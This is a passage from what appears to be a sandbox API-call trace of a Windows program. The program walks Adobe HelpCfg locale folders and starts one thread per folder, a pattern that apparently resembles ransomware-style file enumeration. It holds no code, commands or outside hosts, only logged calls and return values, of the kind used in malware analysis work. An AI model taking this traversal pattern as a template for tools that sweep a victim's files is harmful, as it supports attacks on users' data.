Files\\Adobe\\HelpCfg\\fi_FI" [0140.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x971fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0140.762] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0140.762] wcscmp (_String1="fr_FR", _String2=".") returned 1 [0140.762] wcscmp (_String1="fr_FR", _String2="..") returned 1 [0140.762] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972050 [0140.762] wcscpy (in: _Dest=0x972050, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.762] wcscat (in: _Dest=0x972050, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.762] wcscat (in: _Dest=0x972050, _Source="fr_FR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" [0140.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0140.763] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0140.763] wcscmp (_String1="hr_HR", _String2=".") returned 1 [0140.763] wcscmp (_String1="hr_HR", _String2="..") returned 1 [0140.763] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x9720c8 [0140.763] wcscpy (in: _Dest=0x9720c8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.763] wcscat (in: _Dest=0x9720c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.763] wcscat (in: _Dest=0x9720c8, _Source="hr_HR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" [0140.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9720c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0140.765] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0140.765] wcscmp (_String1="hu_HU", _String2=".") returned 1 [0140.765] wcscmp (_String1="hu_HU", _String2="..") returned 1 [0140.765] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972140 [0140.765] wcscpy (in: _Dest=0x972140, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.765] wcscat (in: _Dest=0x972140, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.765] wcscat (in: _Dest=0x972140, _Source="hu_HU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" [0140.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0140.766] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0140.766] wcscmp (_String1="it_IT", _String2=".") returned 1 [0140.766] wcscmp (_String1="it_IT", _String2="..") returned 1 [0140.766] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x9721b8 [0140.766] wcscpy (in: _Dest=0x9721b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.766] wcscat (in: _Dest=0x9721b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.766] wcscat (in: _Dest=0x9721b8, _Source="it_IT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" [0140.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9721b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0140.767] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0140.767] wcscmp (_String1="ja_JP", _String2=".") returned 1 [0140.768] wcscmp (_String1="ja_JP", _String2="..") returned 1 [0140.768] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972230 [0140.768] wcscpy (in: _Dest=0x972230, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.768] wcscat (in: _Dest=0x972230, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.768] wcscat (in: _Dest=0x972230, _Source="ja_JP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" [0140.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c [0140.769] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0140.769] wcscmp (_String1="ko_KR", _String2=".") returned 1 [0140.769] wcscmp (_String1="ko_KR", _String2="..") returned 1 [0140.769] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x9722a8 [0140.769] wcscpy (in: _Dest=0x9722a8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.769] wcscat (in: _Dest=0x9722a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.769] wcscat (in: _Dest=0x9722a8, _Source="ko_KR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" [0140.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9722a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540 [0140.770] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0140.770] wcscmp (_String1="nb_NO", _String2=".") returned 1 [0140.770] wcscmp (_String1="nb_NO", _String2="..") returned 1 [0140.770] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972320 [0140.770] wcscpy (in: _Dest=0x972320, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.770] wcscat (in: _Dest=0x972320, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.771] wcscat (in: _Dest=0x972320, _Source="nb_NO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" [0140.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544 [0140.772] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0140.772] wcscmp (_String1="nl_NL", _String2=".") returned 1 [0140.772] wcscmp (_String1="nl_NL", _String2="..") returned 1 [0140.772] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972398 [0140.772] wcscpy (in: _Dest=0x972398, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.772] wcscat (in: _Dest=0x972398, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.772] wcscat (in: _Dest=0x972398, _Source="nl_NL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" [0140.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548 [0140.773] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0140.773] wcscmp (_String1="pl_PL", _String2=".") returned 1 [0140.773] wcscmp (_String1="pl_PL", _String2="..") returned 1 [0140.773] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972410 [0140.773] wcscpy (in: _Dest=0x972410, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.773] wcscat (in: _Dest=0x972410, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.774] wcscat (in: _Dest=0x972410, _Source="pl_PL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" [0140.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0140.775] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0140.775] wcscmp (_String1="pt_BR", _String2=".") returned 1 [0140.775] wcscmp (_String1="pt_BR", _String2="..") returned 1 [0140.775] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972488 [0140.775] wcscpy (in: _Dest=0x972488, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.775] wcscat (in: _Dest=0x972488, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.775] wcscat (in: _Dest=0x972488, _Source="pt_BR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR" [0140.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550 [0140.776] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0140.776] wcscmp (_String1="ro_RO", _String2=".") returned 1 [0140.776] wcscmp (_String1="ro_RO", _String2="..") returned 1 [0140.776] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972500 [0140.776] wcscpy (in: _Dest=0x972500, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.777] wcscat (in: _Dest=0x972500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.777] wcscat (in: _Dest=0x972500, _Source="ro_RO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" [0140.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0140.778] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0140.778] wcscmp (_String1="ru_RU", _String2=".") returned 1 [0140.778] wcscmp (_String1="ru_RU", _String2="..") returned 1 [0140.778] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972578 [0140.778] wcscpy (in: _Dest=0x972578, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.778] wcscat (in: _Dest=0x972578, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.778] wcscat (in: _Dest=0x972578, _Source="ru_RU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" [0140.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0140.780] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0140.780] wcscmp (_String1="sk_SK", _String2=".") returned 1 [0140.780] wcscmp (_String1="sk_SK", _String2="..") returned 1 [0140.780] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x9725f0 [0140.780] wcscpy (in: _Dest=0x9725f0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.780] wcscat (in: _Dest=0x9725f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.780] wcscat (in: _Dest=0x9725f0, _Source="sk_SK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" [0140.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9725f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0140.781] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0140.781] wcscmp (_String1="sl_SI", _String2=".") returned 1 [0140.781] wcscmp (_String1="sl_SI", _String2="..") returned 1 [0140.781] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972668 [0140.781] wcscpy (in: _Dest=0x972668, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.781] wcscat (in: _Dest=0x972668, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.781] wcscat (in: _Dest=0x972668, _Source="sl_SI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" [0140.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0140.783] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0140.783] wcscmp (_String1="sv_SE", _String2=".") returned 1 [0140.783] wcscmp (_String1="sv_SE", _String2="..") returned 1 [0140.783] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x9726e0 [0140.783] wcscpy (in: _Dest=0x9726e0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.783] wcscat (in: _Dest=0x9726e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.783] wcscat (in: _Dest=0x9726e0, _Source="sv_SE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" [0140.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9726e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0140.784] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0140.784] wcscmp (_String1="tr_TR", _String2=".") returned 1 [0140.784] wcscmp (_String1="tr_TR", _String2="..") returned 1 [0140.784] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x972758 [0140.784] wcscpy (in: _Dest=0x972758, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0140.784] wcscat (in: _Dest=0x972758, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0140.784] wcscat (in: _Dest=0x972758, _Source="tr_TR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" [0140.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x972758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0140.990] FindNextFileW (in: hFindFile=0x941ef0, lpFindFileData=0x907040 | out: lpFindFileData=0x907040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 